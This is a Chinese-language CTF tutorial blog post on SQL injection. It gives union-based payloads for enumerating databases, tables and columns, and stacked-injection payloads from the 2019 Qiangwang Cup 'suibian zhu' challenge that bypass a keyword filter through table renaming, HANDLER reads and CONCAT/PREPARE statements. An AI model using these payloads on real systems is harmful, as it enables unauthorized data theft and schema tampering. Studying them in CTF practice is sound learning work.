CTF赛事之SQL注入(一篇让你认识它)

15:29:48下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。

 

二话不说,先加单引号、双引号、单括号、双括号等看看是否报错,如果报错就肯定存在SQL注入漏洞了。

 

还有在URL后面加and 1=1 、 and 1=2看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

 

 

 

 

尝试sql注入猜字段(实列讲解,猜测):

1‘ order by 3# 返回正常

1‘ order by 4# 错误

1‘ union select 1,2,3#

爆数据库名:

1‘ union select 1,database(),3#

爆表名:

1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news"#

爆列名:

1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

读数据:

1‘ union select 1,fl4g,3 from secret_table#

 

so easy!!!

 

总结流程:

 

1.寻找注入点(基于报错、基于布尔值、基于时间盲注、基于联合查询)

2.判断是注入点之后丢sqlmap或者选择手工注入

3.手工注入的话爆出当前数据库名(如果盲注的话使用二分法猜解)

4.猜解表名

5.猜解字段名

6.猜解数据

 

然后学习刷题深入(堆叠注入):

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);         #关键字都被过滤标志

 

利用堆叠注入,查询所有数据库:1‘;show databases;#

 

查询所有表:1‘;show tables;#

 

查询表中所有列:1‘;show columns from words;#

 

查询表中所有列:1‘;show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)

 

因发现过滤标志但没有禁用rename和alert。  so呢?  采用修改表结构的方法来得到flag 

 

1‘;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id

 

(太麻烦吗。有点哦!换一种方法:使用handler查询,payload如下:-1‘;handler `1919810931114514` open;handler `1919810931114514` read first;#)

 

oh my god!

到此为止了吗? 不不不,look down:

 

2019强网杯"随便注"学习:

CTF赛事之SQL注入(一篇让你认识它)

 

 

 

啥东西?看不懂啊! 看看百度叭.....(网络如此强大,要学会利用)

 

1. 探测有无注入

2. 尝试获取列数

3. 尝试获取数据库名,用户等基本信息:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #好吧,又被过滤了


1. 接下来我们尝试堆叠注入能否可行。

-1‘;show tables#                   原来如此!!!(还是尝试出来的,太难了)
 

2. 堆叠注入可行,然后看一下表的字段

 

3. 查数据    上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。

select * from `1919810931114514`;(select被过滤了,想办法叭)


4.构造payload:-1‘;set @sql = CONCAT(‘se‘,‘lect * from `1919810931114514`;‘);prepare stmt from @sql;EXECUTE stmt;#

 

 

CTF赛事之SQL注入(一篇让你认识它)15:18:59

先到这叭,后续更新...

 

CTF赛事之SQL注入(一篇让你认识它)

上一篇:SQL Server序列号的获取


下一篇:Centos7 + Mariadb主从配置